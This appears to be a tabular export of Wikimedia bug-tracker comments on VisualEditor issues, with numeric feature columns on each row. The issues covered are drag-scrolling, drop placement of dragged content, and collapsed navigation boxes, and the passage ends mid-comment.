393726,Editing window does not scroll when dragging,This appears to be OS-specific.  I do not have this problem (either scrolling up or down) on Mac OS 10.8.5; I know that at least two editors have this problem on Windows 8.,,,1419882579,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,78,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.4146341463414633,0.8292682926829268,This appears to be OS-specific.  I do not have this problem (either scrolling up or down) on Mac OS 10.8.5; I know that at least two editors have this problem on Windows 8.
236946,Editing window does not scroll when dragging,"So I'm not sure I'm adding to the right bug, but I don't seem to be able to drag templates or images beyond the bottom of the window (and even beyond the top when I tested this the other way around) with the mouse.
I tried this in https://de.wikipedia.org/wiki/Benutzer:Elitre_%28WMF%29/sandbox with Chrome and Firefox.",,,1416241422,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,72,,0.0,0.0,0.0,0.0,3.0,6.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,8.0,0.0,10.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,15.0,2.0,6.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,15.0,3.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.3548387096774195,0.7258064516129032,"So I'm not sure I'm adding to the right bug, but I don't seem to be able to drag templates or images beyond the bottom of the window (and even beyond the top when I tested this the other way around) with the mouse.
I tried this in URL with Chrome and Firefox."
236943,Editing window does not scroll when dragging,"Just tested this, I can scroll up, with some difficulty ( by positioning the cursor on the top toolbar), but scrolling down does not seem possible. 

Additionally, in most drag and drop interfaces I can be dragging and use a two finger, gesture based scroll while dragging, this does not work on VE (Chrome Version 39.0.2171.52 beta (64-bit) / OS X 10.10 )",,,1415828928,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,71,,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,5.0,10.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,12.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,3.0,10.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,0.0,3.8181818181818183,0.7532467532467533,"Just tested this, I can scroll up, with some difficulty ( by positioning the cursor on the top toolbar), but scrolling down does not seem possible. 

Additionally, in most drag and drop interfaces I can be dragging and use a two finger, gesture based scroll while dragging, this does not work on VE (Chrome Version 39.0.2171.52 beta (64-bit) / OS X 10.10 )"
236940,Editing window does not scroll when dragging,This was fixed over the Summer.,,,1415807780,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,This was fixed over the Summer.
236933,Editing window does not scroll when dragging,"I found this a problem to. When additing using just a touchpad or not having a scroll option on the mouse, you have a difficulties to move and object.",,,1407176990,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,57,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,3.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,0.0,9.0,0.0,0.0,0.0,3.8125,0.84375,"I found this a problem to. When additing using just a touchpad or not having a scroll option on the mouse, you have a difficulties to move and object."
236928,Editing window does not scroll when dragging,*** Bug 63170 has been marked as a duplicate of this bug. ***,,,1404761224,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 63170 has been marked as a duplicate of this bug. ***
236924,Editing window does not scroll when dragging,"Problem encounter at FF 24.0 Windows Vista. As I cant add a template, per this bug:
http://imgbin.org/index.php?page=image&id=15296

I have to use the method of placing the template on the top and scroll down. Thus this behaviour is blocking me in activity in VE.",,,1381053810,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,20.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,18.0,10.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,3.5098039215686274,0.8431372549019608,"Problem encounter at FF 24.0 Windows Vista. As I cant add a template, per this bug:
URL

I have to use the method of placing the template on the top and scroll down. Thus this behaviour is blocking me in activity in VE."
236918,Editing window does not scroll when dragging,"(In reply to comment #4)
> the ""challenge"" was to get
> the ""language"" template back at the bottom of the page. You can't do this by
> dragging, even if you stay in the same window.

I think I know what you mean and I have filed a report about it at Bug 54756. Good catch! Thank you.

Also, setting the priority back to Normal since this is usually decided by the developer or team working on a specific report. Thank you for your understanding.",,,1380428104,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,1.0,4.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,7.0,1.0,6.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,6.0,1.0,18.0,1.0,3.0,7.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,0.0,11.0,13.0,3.0,0.0,0.0,0.0,11.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.591549295774648,0.7605633802816901,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

I think I know what you mean and I have filed a report about it at Bug 54756. Good catch! Thank you.

Also, setting the priority back to Normal since this is usually decided by the developer or team working on a specific report. Thank you for your understanding."
236912,Editing window does not scroll when dragging,"**Wikifram** wrote:

While the above is correct insofar that dragging beyond the page boundaries doesn't work (apparently not an urgent problem?), the ""challenge"" was to get the ""language"" template back at the bottom of the page. You can't do this by dragging, even if you stay in the same window. You can use some unintuitive workarounds (which you can find for yourselves), but the basic functionality doesn't work, just like most of the basic functionality of MW 1.22wmf19. has anyone tested ''anything'' in this release related to VE? Anything at all? Since it was ""very"" easy to find many problems with it in half an hour of testing. Back to the drawing boards please.",,,1380382559,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,12,,2.0,2.0,0.5,0.0,2.0,5.5,1.0,0.0,0.0,0.5,2.0,3.0,0.0,0.0,0.0,0.0,0.0,7.5,13.5,2.0,1.0,0.0,1.5,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,3.5,1.5,1.5,0.5,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,10.5,0.5,1.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,6.5,1.5,5.5,2.0,0.5,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,3.5,13.5,2.0,2.0,3.5,0.0,3.5,0.0,0.5,1.0,0.0,1.0,0.0,0.5,0.0,3.817197334320622,0.7619400222139948,"**Wikifram** wrote:

While the above is correct insofar that dragging beyond the page boundaries doesn't work (apparently not an urgent problem?), the ""challenge"" was to get the ""language"" template back at the bottom of the page. You can't do this by dragging, even if you stay in the same window. You can use some unintuitive workarounds (which you can find for yourselves), but the basic functionality doesn't work, just like most of the basic functionality of MW 1.22wmf19. has anyone tested ''anything'' in this release related to VE? Anything at all? Since it was ""very"" easy to find many problems with it in half an hour of testing. Back to the drawing boards please."
236907,Editing window does not scroll when dragging,"fwiw I believe this bug has been mentioned at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_weekly_update_-_2013-09-26_.28MW_1.22wmf19.29 

The users poses ""a challenge"" consisting in dragging the <languages /> bar at [[mw:Groups]] from the bottom of the page to the top, which implies dragging.

A more probable use case it to move pictures from one section to another.",,,1380324332,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,3.0,0.0,5.0,2.0,0.0,8.0,3.6,0.8,"fwiw I believe this bug has been mentioned at URL 

The users poses ""a challenge"" consisting in dragging the <languages /> bar at [[mw:Groups]] from the bottom of the page to the top, which implies dragging.

A more probable use case it to move pictures from one section to another."
236903,Editing window does not scroll when dragging,Confirmed that this also occurs on Firefox 22 and Chrome 28 on Windows 7,,,1374228554,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,21.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,0.9285714285714286,Confirmed that this also occurs on Firefox 22 and Chrome 28 on Windows 7
236900,Editing window does not scroll when dragging,Forgot to note this is on Firefox 22 on Xubuntu Linux,,,1374226368,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,36.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,27.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9090909090909091,Forgot to note this is on Firefox 22 on Xubuntu Linux
53666,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","If you want to move an image to the start of a section in Visual Editor the logical course of action is to drag it to before the first character of the first word of the section.

A user of Firefox 21 reports this does not work at all, in my testing in Firefox 22 it appears to work only occasionally.

The counter-intuitive dragging the image to after the last character of the section title does work.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54756
https://bugzilla.wikimedia.org/show_bug.cgi?id=65883",Low,25.0,1374225180,1403061603.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-32x2jdddgorx6i4qqszg,task_description,resolved,True,c1,3,False,False,False,2,,0.5,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.5,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,1.5,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,7.5,0.5,9.0,0.5,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.5,11.0,3.0,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.7138535995160313,0.6515426497277677,"If you want to move an image to the start of a section in Visual Editor the logical course of action is to drag it to before the first character of the first word of the section.

A user of Firefox 21 reports this does not work at all, in my testing in Firefox 22 it appears to work only occasionally.

The counter-intuitive dragging the image to after the last character of the section title does work.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
236779,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","Change 139674 merged by jenkins-bot:
Block item drag and drop

https://gerrit.wikimedia.org/r/139674",,,1403049871,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0625,1.0,"Change 139674 merged by jenkins-bot:
Block item drag and drop

GERRIT_URL"
236773,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near",*** Bug 51292 has been marked as a duplicate of this bug. ***,,,1403005130,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51292 has been marked as a duplicate of this bug. ***
236767,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","Change 139674 had a related patch set uploaded by Esanders:
Block item drag and drop

https://gerrit.wikimedia.org/r/139674",,,1402926269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 139674 had a related patch set uploaded by Esanders:
Block item drag and drop

GERRIT_URL"
236761,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near",*** Bug 54756 has been marked as a duplicate of this bug. ***,,,1381246558,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54756 has been marked as a duplicate of this bug. ***
236757,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","I'm a little confused as to what the request is here - do you feel that VisualEditor should, when dragging, magically create (and destroy) places to put the cursor, so you can drag content there? Assuming this, I've re-titled, but please correct if I've misunderstood.

We've deliberately decided against that in the past as a confusing behaviour, hence why there are all the extra blank lines (""slugs"") for the ""possible place you could put the cursor which aren't actually there"" concept.

We could do this, but I'm not sure. Also, it adds behaviour that is possible using a mouse but not the keyboard (dragging is not done in the keyboard, instead cut/paste is), which is a little uncomfortable given the intent of VisualEditor.

We've considered adding an ""outline mode"" which would have all the slugs shown, possibly including these ones, and an ""editor mode"" where no slugs at all would show, which could be one alternative to this request.",,,1381246309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,True,,,14,,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,0.3333333333333333,2.3333333333333335,2.3333333333333335,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,7.0,5.666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,5.666666666666667,2.3333333333333335,0.3333333333333333,0.6666666666666666,1.0,0.0,1.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,11.333333333333334,0.6666666666666666,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,6.333333333333333,3.0,4.0,2.0,1.6666666666666667,11.333333333333334,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,3.6666666666666665,5.666666666666667,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.0,3.6666666666666665,0.0,3.6666666666666665,2.3333333333333335,0.0,2.0,0.0,0.0,0.0,3.8404376243250926,0.7475134981528844,"I'm a little confused as to what the request is here - do you feel that VisualEditor should, when dragging, magically create (and destroy) places to put the cursor, so you can drag content there? Assuming this, I've re-titled, but please correct if I've misunderstood.

We've deliberately decided against that in the past as a confusing behaviour, hence why there are all the extra blank lines (""slugs"") for the ""possible place you could put the cursor which aren't actually there"" concept.

We could do this, but I'm not sure. Also, it adds behaviour that is possible using a mouse but not the keyboard (dragging is not done in the keyboard, instead cut/paste is), which is a little uncomfortable given the intent of VisualEditor.

We've considered adding an ""outline mode"" which would have all the slugs shown, possibly including these ones, and an ""editor mode"" where no slugs at all would show, which could be one alternative to this request."
236749,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near",There is a similar problem when you try to drag elements to the end of the editable content area - see Bug 54756.,,,1380428336,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.7916666666666665,0.9166666666666666,There is a similar problem when you try to drag elements to the end of the editable content area - see Bug 54756.
53664,VisualEditor: Surface should respect the default state of collapseable templates,"A user on English Wikipedia requests that templates such as navigation boxes that display as collapsed by default when viewing should display as collapsed by default when editing.

""Currently, navigation boxes are always uncollapsed when editing. This can be quite annoying when having to deal with big ones like {{The Beatles}}, e.g. on ""I'm a Loser"", also it might be confusing editors into believing that this part of a page can easily be edited.""

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1374223320,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_description,open,True,c1,3,False,False,,2,,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,6.5,8.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,2.5,1.0,1.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,9.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.0,0.5,3.5,3.0,8.0,3.0,0.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.0,8.0,2.0,0.0,3.5,0.0,2.0,0.0,3.0,2.5,0.0,4.0,0.0,0.0,0.0,4.157407407407407,0.7222222222222222,"A user on English Wikipedia requests that templates such as navigation boxes that display as collapsed by default when viewing should display as collapsed by default when editing.

""Currently, navigation boxes are always uncollapsed when editing. This can be quite annoying when having to deal with big ones like {{The Beatles}}, e.g. on ""I'm a Loser"", also it might be confusing editors into believing that this part of a page can easily be edited.""

--------------------------
**Version**: unspecified
**Severity**: minor"
1066690,VisualEditor: Surface should respect the default state of collapseable templates,"And worse, they are often 'autocollapse' which means they won't benefit from this. I am going to propose a change on en.wp soon, to limit the usage of autocollapse to ONLY navboxes, so at least other parts of the pages will not have this problem. But i'm not sure how to get social buy-in for completely removing autocollapse behaviour of navboxes.",,,1526025290,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0.0,0.0,1.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,3.0,0.0,11.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,5.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,18.0,1.0,0.0,3.0,0.0,5.0,0.0,3.0,1.0,0.0,3.0,1.0,1.0,0.0,3.9452054794520546,0.7671232876712328,"And worse, they are often 'autocollapse' which means they won't benefit from this. I am going to propose a change on en.wp soon, to limit the usage of autocollapse to 